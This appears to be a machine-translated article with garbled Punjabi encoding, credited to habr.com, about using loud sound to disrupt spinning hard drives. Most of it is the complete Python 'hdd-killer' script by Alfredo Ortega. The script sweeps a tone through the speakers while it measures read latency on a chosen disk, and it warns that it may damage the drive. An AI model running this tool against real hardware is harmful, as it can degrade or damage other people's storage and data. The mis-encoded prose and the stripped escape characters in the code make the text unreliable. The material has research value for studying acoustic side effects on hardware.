เจ†เจตเจพเจœเจผ เจฌเจนเฉเจค เจ‰เฉฑเจšเฉ€ เจธเฉ€ (130 dB เจคเฉ‹เจ‚ เจตเฉฑเจง), เจชเจฐ เจคเฉเจธเฉ€เจ‚ เจนเจพเจฐเจก เจกเจฐเจพเจˆเจตเจพเจ‚ 'เจคเฉ‡ เจตเฉ€ เจฐเฉŒเจฒเจพ เจจเจนเฉ€เจ‚ เจชเจพ เจธเจ•เจฆเฉ‡ - เจ‡เจน HDD เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจ•เจฐเจจ เจตเจฟเฉฑเจš เจฆเฉ‡เจฐเฉ€ เจจเฉ‚เฉฐ เจตเจงเจพเจ‰เจ‚เจฆเจพ เจนเฉˆเฅค

เจ‡เฉฑเจ• เจกเจพเจŸเจพ เจธเฉˆเจ‚เจŸเจฐ เจตเจฟเฉฑเจš เจนเจพเจฐเจก เจกเจฐเจพเจˆเจตเจพเจ‚ 'เจคเฉ‡ เจฎเจจเฉเฉฑเจ–เฉ€ เจšเฉ€เจ•เจพเจ‚ เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจเฅค เจฒเฉ‡เจŸเฉˆเจ‚เจธเฉ€ เจฎเจพเจช


เจ—เฉ‚เฉฐเจœเจฆเฉ€ เจ†เจตเจพเจœเจผ เจชเฉˆเจฆเจพ เจ•เจฐเจจ เจฒเจˆ, เจ…เจฒเจซเจฐเฉ‡เจกเฉ‹ เจ“เจฐเจŸเฉ‡เจ—เจพ เจจเฉ‡ เจชเจพเจˆเจฅเจจ เจธเจ•เฉเจฐเจฟเจชเจŸ เจฒเจฟเจ–เฉ€ hdd-เจ•เจพเจคเจฒ (เจตเฉ€เจกเฉ€เจ“ เจชเฉเจฐเจฆเจฐเจธเจผเจจ).

HDD เจ•เจพเจคเจฒ เจธเจ•เฉเจฐเจฟเจชเจŸ เจ‡เจน เจ•เจพเจซเจผเฉ€ เจ›เฉ‹เจŸเจพ เจนเฉˆ, เจ‡เจธ เจฒเจˆ เจคเฉเจธเฉ€เจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจชเฉ‚เจฐเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจ‡เฉฑเจฅเฉ‡ เจชเฉเจฐเจ•เจพเจธเจผเจฟเจค เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

เจธเจฐเฉ‹เจค: www.habr.com

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹